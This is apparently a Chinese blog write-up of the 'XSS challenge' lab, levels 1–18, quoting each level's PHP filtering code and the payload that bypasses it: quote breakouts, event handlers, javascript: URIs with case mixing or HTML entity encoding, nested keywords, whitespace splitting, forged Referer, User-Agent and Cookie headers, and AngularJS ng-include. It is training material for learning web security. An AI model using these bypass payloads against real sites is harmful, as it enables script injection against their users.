zoukankan      html  css  js  c++  java
  • XSS挑战之旅(通过看代码解题)

    XSS 挑战之旅

    level 1

    没有什么过滤

    payload:

    <script>alert(1)</script>
    

    level 2

    php关键代码:

    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    
    <input name=keyword  value="'.$str.'">
    

    分析:

    str是可控的变量,上面一行实体化了,没有希望。

    第二行的的代码没有过滤,闭合一下input标签就可以了。

    payload:

    "><script>alert(1)</script>&submit=搜索
    

    level 3

    关键代码:

    <input name=keyword  value='".htmlspecialchars($str)."'>
    

    分析:

    进行了html实体化,所以不可以利用标签了,利用js的事件来触发xss,闭合的时候用单引号。

    payload:

    '> onmouseover=alert(1) b='&submit=搜索
    

    level 4

    关键代码:

    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    
    <input name=keyword  value="'.$str3.'">
    

    分析:

    获取keyword,尖括号置空,依旧利用js事件,闭合的时候利用双引号。

    payload:

    aa" onmouseover=alert(1) b="
    

    level 5

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    
    <input name=keyword  value="'.$str3.'">
    

    分析:

    首先把keyword转换为了小写,之后把script跟on破坏掉了。

    利用a标签的js协议来触发xss。提交之后点击一下那个连接就可以触发了。

    payload:

    "><a href="javascript:alert(1)">
    

    level 6

    关键代码:

    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    
    <input name=keyword  value="'.$str6.'">
    

    分析:

    跟第五关类似,过滤了script,on,src,data,href等,但是没有进行大小写转换,所以可以利用大小写混写来绕过。

    payload:

    "><a Href="javascript:alert(1)">
    "><img Src=x Onerror=alert(1)>
    

    level 7

    关键代码:

    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    
    <input name=keyword  value="'.$str6.'">
    

    分析

    进行了小写转换,并且过滤了script,on,src,data,href等。

    可以利用单词嵌套来绕过,例如script可以写成 scrSCRIPTipt

    payload:

    "><scscriptript>alert(1)</scrscriptipt>
    

    level 8

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    
     echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    

    分析

    过滤的跟之前的差不多,加上把双引号也过滤了。

    类似第五关,可以利用js协议。但是因为script过滤了,所以需要用到实体编码来过滤了。

    javascript:alert(1)进行编码

    payload:

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41
    

    Tip:

    编码python代码:

    def unicodeHtml(self, orgCode):
        self.enCode['unicodeHtml'] = ';'.join(
            '&#{}'.format(ord(x)) for x in orgCode)
    

    收获

    网上别的表哥说还可以这样绕过:

    可以利用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开做到过滤,例如:

    javas%09cript:alert()
    
    javas%0acript:alert()
    
    javas%0dcript:alert()
    
    %09:tab
    %0a:linefeed(换行)
    %0d:creturn
    

    但是我尝试了一下:

    em~ 好迷,搜了一下才知道是httpd.conf的配置问题。

    <Directory />
        Options FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
    </Directory>
    

    这一段改成:

    <Directory />  
        Options Indexes FollowSymLinks  
        AllowOverride None  
    </Directory>
    

    em~ 改了也没有好使,可能是我的环境问题叭。占个坑。

    level 9

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    
    <?php
    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
            }
    else
    {
      echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    }
    

    分析

    日常过滤,如果keyword里不包含http://就不合法。编码之后加进去就可以了。

    payload:

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41 //http://
    

    level 10

    关键代码:

    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    

    分析

    str变量传入之后直接实体化后输出了,所以keyword参数是没用的。

    发现还可以传一个t_sort参数并且只是过滤了尖括号,闭合一下利用js事件就可以了。

    但是又发现t_sort值的标签是hidden的,所以我们这里改成可见的。

    payload:

    " onmouseover=alert(1) type="text" //
    <!--访问:/level10.php?keyword=well%20done!&t_sort=" onmouseover=alert(1) type="text" //-->
    

    level 11

    关键代码:

    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_REFERER'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ref"  value="'.$str33.'" type="hidden">
    

    分析

    keyword跟t_sort都进行了实体化,没戏。

    这里出现了一个$_SERVER['HTTP_REFERER']

    这个变量只是过滤了尖括号,那么这个变量怎么传进去呢?

    可以通过抓包改包来实现:

    payload:

    这里利用burpsuite来实现改包的功能

    添加一个:Referer:" onmouseover=alert(1) type="text" //

    之后点击forward就可以了。

    level 12

    关键代码:

    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_USER_AGENT'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    
    <input name="t_ua"  value="'.$str33.'" type="hidden">
    

    分析

    跟刚刚的类似,也是要抓包改包。

    payload:

    更改User-Agent的值为" onmouseover=alert(1) type="text" //

    level 13

    关键代码:

    setcookie("user", "call me maybe?", time()+3600);
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_COOKIE["user"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    
    <input name="t_cook"  value="'.$str33.'" type="hidden">
    

    分析

    抓包,改cookie

    payload:

    Cookie: user=" onmouseover=alert(1) type="text" //
    

    level 14

    没有太看明白,参考里的最后一个里有答案。。。

    level 15

    关键代码:

    <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    
    $str = $_GET["src"];
    echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    

    分析

    看了大佬们的分析,知道了这题是利用AngularJS ng-include 指令。

    ng-include 指令用于包含外部的 HTML 文件。

    包含的内容将作为指定元素的子节点。

    ng-include 属性的值可以是一个表达式,返回一个文件名。

    默认情况下,包含的文件需要包含在同一个域名下。

    访问/level15.php?src='level1.php'的时候会把第6关的文件引入到本页:

    所以我们可以利用之前利用过的payload,比如利用第一关。

    payload:

    /level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
    

    level 16

    关键代码:

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","&nbsp;",$str);
    $str3=str_replace(" ","&nbsp;",$str2);
    $str4=str_replace("/","&nbsp;",$str3);
    $str5=str_replace("	","&nbsp;",$str4);
    echo "<center>".$str5."</center>";
    

    分析

    利用:%0d %0a分隔

    payload:

    <img%0Dsrc=1%0Donerror=alert(1)>
    

    level 17

    关键代码:

    echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    

    分析

    html实例化,通过on来触发。

    payload:

    %20onmouseover=alert(1)
    

    执行后的源代码:

    <embed src=xsf01.swf?a= onmouseover=alert(1) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
    

    level 18

    关键代码:

    echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
    

    分析

    感觉跟17差不多呀。

    payload:

    %20onmouseover=alert(1)
    

    19 跟 20 不会啊。

    参考:

    XSS挑战之旅(1~10)
    https://www.jianshu.com/p/550529813397

    XSS挑战之旅--游戏闯关
    https://www.jianshu.com/p/4e3a517bc4ea

    【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关)
    https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

  • 相关阅读:
    centos 7 搭建 LNMP ( Linux+Nginx+MySQL+PHP )
    centos 7 安装 redis-5.0.5
    centos 7 安装 Oracle 12c
    centos 7 SVN安装脚本搭建主从同步灵活切换
    Windwos Java‘bat 环境变量配置脚本
    centso 7 Keepalived 配置脚本
    centos 7 私有云盘 OwnCloud 安装搭建脚本
    Linux fing cd 查找文件/文件夹并进入目录命令
    Linux grep命令 -- 三剑客老三
    基础脚本
  • 原文地址:https://www.cnblogs.com/F4lc0n/p/12897161.html
Copyright © 2011-2022 走看看